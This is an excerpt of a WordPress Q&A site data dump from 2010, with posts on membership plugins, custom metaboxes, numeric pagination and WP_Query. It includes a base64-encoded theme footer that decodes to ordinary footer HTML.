  <row Id="950" PostTypeId="2" ParentId="938" CreationDate="2010-08-26T19:21:25.073" Score="1" ViewCount="" Body="&lt;p&gt;For &lt;strong&gt;digital assets subscriptions most people are using Membership Plugins&lt;/strong&gt;. There are free membership plugins and commercial membership plugins, and the ones IMO with the most traction (i.e. users and support) seem to be the commercial plugins.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;List of Membership and Content Protection Plugins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here are a list of membership plugins that I've found from my past research. Not all provide &#xA;subscriptions to digital assets but most do. I've included the full list for others who might be interested in the full list of membership plugins. (I've created my answer as a &lt;em&gt;community wiki&lt;/em&gt; if anyone wants to help segment the ones that provide digital asset protection and download from those that do not.):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In alphabetic order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.digitalaccesspass.com/&quot; rel=&quot;nofollow&quot;&gt;Digital Access Pass &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.voiceoftech.com/swhitley/?page_id=129&quot; rel=&quot;nofollow&quot;&gt;EasyPayPal WordPress Plugin &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/hidepost/&quot; rel=&quot;nofollow&quot;&gt;HidePost &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.magicmembers.com/&quot; rel=&quot;nofollow&quot;&gt;Magic Members &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.chrisabernethy.com/wordpress-plugins/member-access/&quot; rel=&quot;nofollow&quot;&gt;Member Access &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/members-only/&quot; rel=&quot;nofollow&quot;&gt;Members Only &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.memberwing.com&quot; rel=&quot;nofollow&quot;&gt;MemberWing &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.fortes.com/projects/wordpress/postlevels&quot; rel=&quot;nofollow&quot;&gt;PostLevels &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sumaplugin.com/&quot; rel=&quot;nofollow&quot;&gt;Suma Plugin &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gm-alex.de/projects/wordpress/plugins/user-access-manager/&quot; rel=&quot;nofollow&quot;&gt;User Access Manager &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://member.wishlistproducts.com/&quot; rel=&quot;nofollow&quot;&gt;Wishlist Member &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tipsandtricks-hq.com/wordpress-emember-easy-to-use-wordpress-membership-plugin-1706&quot; rel=&quot;nofollow&quot;&gt;WordPress eMember &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wpmembershipservice.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress Membership Management Plugin &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpmembersite.com/&quot; rel=&quot;nofollow&quot;&gt;WP Member Site &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.peteholiday.com/wp-sentry&quot; rel=&quot;nofollow&quot;&gt;WP Sentry &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.visser.com.au/blog/wp-user-manager-unofficial-update/&quot; rel=&quot;nofollow&quot;&gt;WP User Manager &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.yourmembers.co.uk/&quot; rel=&quot;nofollow&quot;&gt;YourMembers &lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know that's not many options, but maybe it's enough? ;)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Membership Plugin Articles&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;And here are a few articles you might find helpful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wpdesigner.com/2008/03/01/how-to-use-wordpress-as-a-membership-directory/&quot; rel=&quot;nofollow&quot;&gt;How to Use WordPress as a Membership Directory&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.webbriefcase.net/2009-12/build-a-wordpress-membership-site-with-wishlist-member-review/&quot; rel=&quot;nofollow&quot;&gt;Build a WordPress Membership Site with Wishlist Member&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-26T19:21:25.073" CommunityOwnedDate="2010-08-26T19:21:25.073" CommentCount="2" />
  <row Id="951" PostTypeId="1" AcceptedAnswerId="952" CreationDate="2010-08-26T22:34:26.430" Score="0" ViewCount="257" Body="&lt;p&gt;I'm at a loss with this. Do you see anything wrong with the code below specific to the noindex, nofollow checkboxes? The meta box gets drawn to the screen fine, but the values do not stick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for the custom page title and custom excerpt works fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ===================&#xA;// = POST OPTION BOX =&#xA;// ===================&#xA;&#xA;add_action('admin_menu', 'my_post_options_box');&#xA;&#xA;function my_post_options_box() {&#xA;    if ( function_exists('add_meta_box') ) { &#xA;        add_meta_box('post_header', 'Custom Post Header Code (optional)', 'custom_post_images', 'post', 'normal', 'low');&#xA;        add_meta_box('post_title', 'Custom Post Title', 'custom_post_title', 'post', 'normal', 'high');&#xA;        add_meta_box('post_title_page', 'Custom Post Title', 'custom_post_title_page', 'page', 'normal', 'high');&#xA;        add_meta_box('postexcerpt', __('Excerpt'), 'post_excerpt_meta_box', 'page', 'normal', 'core');&#xA;        add_meta_box('categorydiv', __('Page Index Options'), 'post_categories_meta_box_modified', 'page', 'side', 'high');&#xA;    }&#xA;}&#xA;&#xA;//Adds the custom images box&#xA;function custom_post_images() {&#xA;    global $post;&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;inside&quot;&amp;gt;&#xA;        &amp;lt;textarea style=&quot;height:70px; width:100%;margin-left:-5px;&quot; name=&quot;cb2_customHeader&quot; id=&quot;cb2_customHeader&quot;&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'cb2_customHeader', true); ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;p&amp;gt;Enter your custom html code here for the post page header/image area. Whatever you enter here will override the default post header or image listing &amp;lt;b&amp;gt;for this post only&amp;lt;/b&amp;gt;. You can enter image references like so &amp;amp;lt;img src='wp-content/uploads/product1.jpg' /&amp;amp;gt;. To show default images, just leave this field empty&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;//Adds the custom post title box to posts&#xA;function custom_post_title() {&#xA;    global $post;&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;inside&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input style=&quot;height:25px;width:100%;margin-left:-10px;&quot; type=&quot;text&quot; name=&quot;cb2_customTitle&quot; id=&quot;cb2_customTitle&quot; value=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'cb2_customTitle', true); ?&amp;gt;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Enter your custom Post Title here and it will be used for the html &amp;amp;lt;title&amp;amp;gt; for this post page and the Google link text used for this page.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;//Adds the custom post title box to pages&#xA;function custom_post_title_page() {&#xA;    global $post;&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;inside&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input style=&quot;height:25px;width:100%;margin-left:-10px;&quot; type=&quot;text&quot; name=&quot;cb2_customTitle&quot; id=&quot;cb2_customTitle&quot; value=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'cb2_customTitle', true); ?&amp;gt;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Enter your custom Page Title here and it will be used for the html &amp;amp;lt;title&amp;amp;gt; for this page and the Google link text used for this page.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;//adds the custom categories box&#xA;function post_categories_meta_box_modified($post) {&#xA;global $post, $noindexCat, $nofollowCat;&#xA;    $noindexCat = get_cat_ID('noindex');&#xA;    $nofollowCat = get_cat_ID('nofollow');&#xA;    if(in_category(&quot;noindex&quot;)){ $noindexChecked = &quot; checked='checked'&quot;;} &#xA;    if(in_category(&quot;nofollow&quot;)){ $nofollowChecked = &quot; checked='checked'&quot;;}&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;categories-all&quot; class=&quot;ui-tabs-panel&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;categorychecklist&quot; class=&quot;list:category categorychecklist form-no-clear&quot;&amp;gt;&#xA;        &amp;lt;li id='category-&amp;lt;?php echo $noindexCat ?&amp;gt;' class=&quot;popular-category&quot;&amp;gt;&amp;lt;label class=&quot;selectit&quot;&amp;gt;&amp;lt;input value=&quot;&amp;lt;?php echo $noindexCat ?&amp;gt;&quot; type=&quot;checkbox&quot; name=&quot;post_category[]&quot; id=&quot;in-category-&amp;lt;?php echo $noindexCat ?&amp;gt;&quot;&amp;lt;?php echo $noindexChecked ?&amp;gt; /&amp;gt; noindex&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt; &#xA;        &amp;lt;li id='category-&amp;lt;?php echo $nofollowCat ?&amp;gt;' class=&quot;popular-category&quot;&amp;gt;&amp;lt;label class=&quot;selectit&quot;&amp;gt;&amp;lt;input value=&quot;&amp;lt;?php echo $nofollowCat ?&amp;gt;&quot; type=&quot;checkbox&quot; name=&quot;post_category[]&quot; id=&quot;in-category-&amp;lt;?php echo $nofollowCat ?&amp;gt;&quot;&amp;lt;?php echo $nofollowChecked ?&amp;gt; /&amp;gt; nofollow&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt; &#xA;        &amp;lt;li id='category-1' class=&quot;popular-category&quot; style=&quot;display:none;&quot;&amp;gt;&amp;lt;label class=&quot;selectit&quot;&amp;gt;&amp;lt;input value=&quot;1&quot; type=&quot;checkbox&quot; name=&quot;post_category[]&quot; id=&quot;in-category-1&quot; checked=&quot;checked&quot;/&amp;gt; Uncategorized&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt; &#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;add_action('save_post', 'custom_add_save');&#xA;&#xA;function custom_add_save($postID){&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $postID;&#xA;    }&#xA;    else&#xA;    {&#xA;        // called after a post or page is saved&#xA;        if($parent_id = wp_is_post_revision($postID))&#xA;        {&#xA;        $postID = $parent_id;&#xA;        }&#xA;&#xA;        if ($_POST['cb2_customHeader']) &#xA;        {&#xA;            update_custom_meta($postID, $_POST['cb2_customHeader'], 'cb2_customHeader');&#xA;        }&#xA;        else&#xA;        {&#xA;            update_custom_meta($postID, '', 'cb2_customHeader');&#xA;        }&#xA;        if ($_POST['cb2_customTitle']) &#xA;        {&#xA;            update_custom_meta($postID, $_POST['cb2_customTitle'], 'cb2_customTitle');&#xA;        }&#xA;        else&#xA;        {&#xA;            update_custom_meta($postID, '', 'cb2_customTitle');&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;function update_custom_meta($postID, $newvalue, $field_name) {&#xA;    update_post_meta($postID, $field_name, $newvalue);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-11T10:21:58.627" LastActivityDate="2010-09-11T10:25:34.953" Title="Categories for Pages Not Saving in Admin with Custom Categories Metabox?" Tags="&lt;themes&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="952" PostTypeId="2" ParentId="951" CreationDate="2010-08-26T23:03:36.987" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure but I think the simple answer is &lt;strong&gt;you have not yet added &lt;code&gt;&quot;noindex&quot;&lt;/code&gt; and &lt;code&gt;&quot;nofollow&quot;&lt;/code&gt; as categories to your site&lt;/strong&gt;.  Go to the category page in the admin and add them and then I think your code will work, it did for me:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/wp-admin/edit-tags.php?taxonomy=category&quot; rel=&quot;nofollow&quot;&gt;http://example.com/wp-admin/edit-tags.php?taxonomy=category&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course if you need to add those categories programmatically, ideally for use in a plugin activation so it only ever has to run when the plugin is first activated you can use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/** Include the WordPress Taxonomy Administration API */&#xA;require_once(ABSPATH . 'wp-admin/includes/taxonomy.php');&#xA;$categories = get_categories('hide_empty=0&amp;amp;fields=names');&#xA;if (!in_array('noindex',$categories))&#xA;  wp_insert_category(array('cat_name'=&amp;gt;'noindex'));&#xA;if (!in_array('nofollow',$categories))&#xA;  wp_insert_category(array('cat_name'=&amp;gt;'nofollow'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;h2&gt;UPDATE:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;@Scott B&lt;/em&gt;: Is it possible that you never associated the &lt;code&gt;category&lt;/code&gt; taxonomy with the &lt;code&gt;page&lt;/code&gt; post type? You know that &lt;em&gt;Pages&lt;/em&gt; (&lt;code&gt;post_type='page'&lt;/code&gt;) don't get categories by default, right?  Somewhere in your code you need to run &lt;code&gt;register_taxonomy_for_object_type()&lt;/code&gt;; my guess is you haven't?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm right then adding this to your code will almost certainly solve your problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','attach_category_to_page');&#xA;function attach_category_to_page() {&#xA;    register_taxonomy_for_object_type('category','page');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-11T10:25:34.953" LastActivityDate="2010-09-11T10:25:34.953" CommentCount="13" />
  <row Id="953" PostTypeId="1" AcceptedAnswerId="954" CreationDate="2010-08-27T00:19:48.713" Score="2" ViewCount="293" Body="&lt;p&gt;By default, WordPress shows &lt;strong&gt;previous&lt;/strong&gt; and &lt;strong&gt;next&lt;/strong&gt; links when content is split onto different pages. Is there a way to get it to use proper pagination (with numbers), perhaps with a plugin?&lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-27T18:23:47.613" LastActivityDate="2011-03-28T16:09:23.683" Title="Displaying Numeric Pagination vs. Previous and Next Links in WordPress?" Tags="&lt;plugin-recommendation&gt;&lt;pagination&gt;" AnswerCount="2" />
  <row Id="954" PostTypeId="2" ParentId="953" CreationDate="2010-08-27T00:46:22.157" Score="3" ViewCount="" Body="&lt;p&gt;yes, &#xA;try wp-pagenavi&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pagenavi/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-pagenavi/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2010-08-27T00:46:22.157" />
  <row Id="955" PostTypeId="2" ParentId="953" CreationDate="2010-08-27T01:17:44.727" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Add to Functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Numeric Pagination ********************************************/&#xA;&#xA;function numeric_pagination ($pageCount = 9, $query = null) {&#xA;&#xA;    if ($query == null) {&#xA;        global $wp_query;&#xA;        $query = $wp_query;&#xA;    }&#xA;&#xA;    if ($query-&amp;gt;max_num_pages &amp;lt;= 1) {&#xA;        return;&#xA;    }&#xA;&#xA;    $pageStart = 1;&#xA;    $paged = $query-&amp;gt;query_vars['paged'];&#xA;&#xA;    // set current page if on the first page&#xA;    if ($paged == null) {&#xA;        $paged = 1;&#xA;    }&#xA;&#xA;    // work out if page start is halfway through the current visible pages and if so move it accordingly&#xA;    if ($paged &amp;gt; floor($pageCount / 2)) {&#xA;        $pageStart = $paged - floor($pageCount / 2);&#xA;    }&#xA;&#xA;    if ($pageStart &amp;lt; 1) {&#xA;        $pageStart = 1;&#xA;    }&#xA;&#xA;    // make sure page start is&#xA;    if ($pageStart + $pageCount &amp;gt; $query-&amp;gt;max_num_pages) {&#xA;        $pageCount = $query-&amp;gt;max_num_pages - $pageStart;&#xA;    }&#xA;&#xA;?&amp;gt;&#xA;    &amp;lt;div id=&quot;archive_pagination&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;    if ($paged != 1) {&#xA;?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_pagenum_link(1); ?&amp;gt;&quot; class=&quot;numbered page-number-first&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;amp;lsaquo; &amp;lt;?php _e('&amp;lt;&amp;lt; First', 'global'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;    // first page is not visible...&#xA;    if ($pageStart &amp;gt; 1) {&#xA;        //echo 'previous';&#xA;    }&#xA;    for ($p = $pageStart; $p &amp;lt;= $pageStart + $pageCount; $p ++) {&#xA;        if ($p == $paged) {&#xA;?&amp;gt;&#xA;        &amp;lt;span class=&quot;numbered page-number-&amp;lt;?php echo $p; ?&amp;gt; current-numeric-page&quot;&amp;gt;&amp;lt;?php echo $p; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_pagenum_link($p); ?&amp;gt;&quot; class=&quot;numbered page-number-&amp;lt;?php echo $p; ?&amp;gt;&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php echo $p; ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;        }&#xA;    }&#xA;    // last page is not visible&#xA;    if ($pageStart + $pageCount &amp;lt; $query-&amp;gt;max_num_pages) {&#xA;        //echo &quot;last&quot;;&#xA;    }&#xA;    if ($paged != $query-&amp;gt;max_num_pages) {&#xA;?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_pagenum_link($query-&amp;gt;max_num_pages); ?&amp;gt;&quot; class=&quot;numbered page-number-last&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php _e('&amp;gt;&amp;gt; Last', 'global'); ?&amp;gt; &amp;amp;rsaquo;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before The Loop&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$page = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;query_posts(&quot;showposts=6&amp;amp;paged=$page&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After The Loop Between endwhile and else&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php numeric_pagination(); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-27T01:17:44.727" />
  <row Id="956" PostTypeId="1" AcceptedAnswerId="962" CreationDate="2010-08-27T10:28:34.090" Score="0" ViewCount="103" Body="&lt;p&gt;I would like to add Google custom search to my wordpress.com site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have pasted HTML code from custom search to text widget in a sidebar, but instead of search box, I got text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Loading&#xA;google.load('search', '1', {language : 'en'}); google.setOnLoadCallback(function() { var customSearchControl = new google.search.CustomSearchControl('007267089725385613265:gmydx5gtw6u'); customSearchControl.setResultSetSize(google.search.Search.LARGE_RESULTSET); var options = new google.search.DrawOptions(); options.setAutoComplete(true); customSearchControl.draw('cse', options); }, true); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess wordpress.com does not allow Google's JavaScript to execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? Can this be resolved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is &lt;a href=&quot;http://watir.com/&quot; rel=&quot;nofollow&quot;&gt;http://watir.com/&lt;/a&gt;, custom search is &lt;a href=&quot;http://bit.ly/watirsearch&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/watirsearch&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2010-08-27T13:46:35.227" Title="Add Google custom search to wordpress.com" Tags="&lt;search&gt;&lt;google-search&gt;&lt;wordpress.com&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="958" PostTypeId="1" AcceptedAnswerId="970" CreationDate="2010-08-27T12:14:41.703" Score="1" ViewCount="595" Body="&lt;p&gt;The following snippet is from a sidebar widget that lists &quot;recent posts&quot;. Since its on the home page and I feature my lastest sticky post prominently on that page, I want to skip over the sticky in this loop. However, the &quot;post_not_in=sticky_posts&quot; has no effect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php $the_query = new WP_Query(&quot;showposts=$number&amp;amp;offset=1&amp;amp;order=ASC&amp;amp;post_not_in=sticky_posts&quot;);&#xA;&#xA;    while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();&#xA;&#xA;        $do_not_duplicate = $post-&amp;gt;ID; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-27T17:05:24.047" LastActivityDate="2011-08-25T02:45:37.557" Title="Excluding Sticky Posts from The Loop and from WP_Query() in WordPress?" Tags="&lt;widgets&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="959" PostTypeId="2" ParentId="930" CreationDate="2010-08-27T12:24:45.967" Score="0" ViewCount="" Body="&lt;p&gt;What is it that the plugin doesn't do for you? I ask as I've got the same requirement (bar the widget), and I've managed to get Downloads Manager to do it for me. It isn't brilliantly written or supported, and looks like it needs some work doing to be fair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I found using it was that it gives you the option to offer a download link (i.e. a url with normal text in like blog.com/filename rather than blog.com/?file_id=2). On my install if I ticked this option, it didn't work. This could be due to my setup (multiple blogs with different domain names), but regardless if I left this off, it worked fine. You also need to upload the file first, then fill out the form, and highlight the file name on the right hand side. Bit messy, but it does work thus far. Finally I had to make sure the plugin directory had write access to the file system, as this prevented both uploads (it puts them in its own directory) and changes to the table templates for the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sidebar widget would need a little development work, as the default options for listing (i.e. showing the list of uploads) are in ascending date order, oldest first. I'm going to have a little play about with the plugin today to see if I can query the list in a custom fashion.&lt;/p&gt;&#xA;" LastActivityDate="2010-08-27T12:24:45.967" />
  <row Id="960" PostTypeId="1" AcceptedAnswerId="964" CreationDate="2010-08-27T12:38:28.607" Score="4" ViewCount="483" Body="&lt;p&gt;Some WordPress themes have their links encrypted in the footer and I am not able to edit them if I want to edit the links. This is the example code I found:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;?php&lt;/code&gt;&#xA;  &lt;code&gt;eval(base64_decode('Pz4gCQkNCg0KCQk8ZGl2IGNsYXNzPSJjbGVhciI+PC9kaXY+DQoNCgkNCg0KCTwvZGl2Pg0KDQoJPCEtLSAvTWFpbiAtLT4NCg0KCQ0KDQoJPCEtLSBGb290ZXIgLS0+DQoNCgk8ZGl2IGlkPSJmb290ZXIiPg0KDQoJPD9waHAgdGhlX3RpbWUoJ1knKTsgPz4gPD9waHAgYmxvZ2luZm8oJ25hbWUnKTsgPz4gLiAgV29yZFByZXNzIC4gPD9waHAgaWYoaXNfaG9tZSgpKSA6ID8+PGEgaHJlZj0iaHR0cDovL3dvcmRwcmVzc3RoZW1lc2ZvcmZyZWUuY29tLyIgdGl0bGU9IldvcmRwcmVzcyB0aGVtZXMiPldvcmRwcmVzcyB0aGVtZXM8L2E+PD9waHAgZW5kaWY7ID8+PC9kaXY+DQoNCgk8IS0tIEZvb3RlciAtLT4NCg0KDQoNCjwvZGl2PjwvZGl2PjwvZGl2Pg0KDQo8IS0tIC9QYWdlIC0tPg0KDQoNCg0KDQoNCjw/cGhwIHdwX2Zvb3RlcigpOyA/Pg0KPC9ib2R5Pg0KDQoNCg0KPC9odG1sPiA8Pw=='));?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does any one know how to find the footer link we want from them and edit them?&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-27T16:49:43.150" LastActivityDate="2011-04-01T09:38:05.007" Title="Editing Links in the Footer of WordPress Themes with Base64 Encrypted Code?" Tags="&lt;themes&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="961" PostTypeId="2" ParentId="958" CreationDate="2010-08-27T13:38:41.793" Score="1" ViewCount="" Body="&lt;p&gt;If you want to exclude all sticky posts from a query, use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;query_posts(array(&quot;post__not_in&quot; =&amp;gt;get_option(&quot;sticky_posts&quot;)));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Sticky_Post_Parameters&quot; rel=&quot;nofollow&quot;&gt;the codex&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like that will only work on 3.0 or greater, though: &lt;a href=&quot;http://wordpress.org/support/topic/excluding-sticky-posts-using-query_posts&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/excluding-sticky-posts-using-query_posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: in response to your comment below, try this (I'm not sure this will work, but hopefully it will get you started):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$args=array(&#xA;    'showposts'=&amp;gt;'$number',&#xA;    'offset'=&amp;gt;'1',&#xA;    'order'=&amp;gt;'ASC',&#xA;    'post__not_in'=&amp;gt;get_option(&quot;sticky_posts&quot;)&#xA;    );&#xA;$the_query = new WP_Query($args);&#xA;&#xA;    while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();&#xA;&#xA;        $do_not_duplicate = $post-&amp;gt;ID; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-08-27T17:29:54.703" LastActivityDate="2010-08-27T17:29:54.703" CommentCount="2" />
  <row Id="962" PostTypeId="2" ParentId="956" CreationDate="2010-08-27T13:46:35.227" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://en.support.wordpress.com/code/#javascript&quot; rel=&quot;nofollow&quot;&gt;JavaScript is not allowed on WordPress.com blogs.&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-27T13:46:35.227" CommentCount="1" />
  <row Id="963" PostTypeId="2" ParentId="898" CreationDate="2010-08-27T14:01:59.703" Score="0" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://www.bravenewcode.com/products/wordtwit/&quot; rel=&quot;nofollow&quot;&gt;WordTwit&lt;/a&gt; for Twitter which does a nice job of autoposting. It lets you style the format a little of how the tweet is worded, lets you use your bit.ly account for link shortening, and does UTM tracking codes too.&lt;/p&gt;&#xA;" LastActivityDate="2010-08-27T14:01:59.703" />
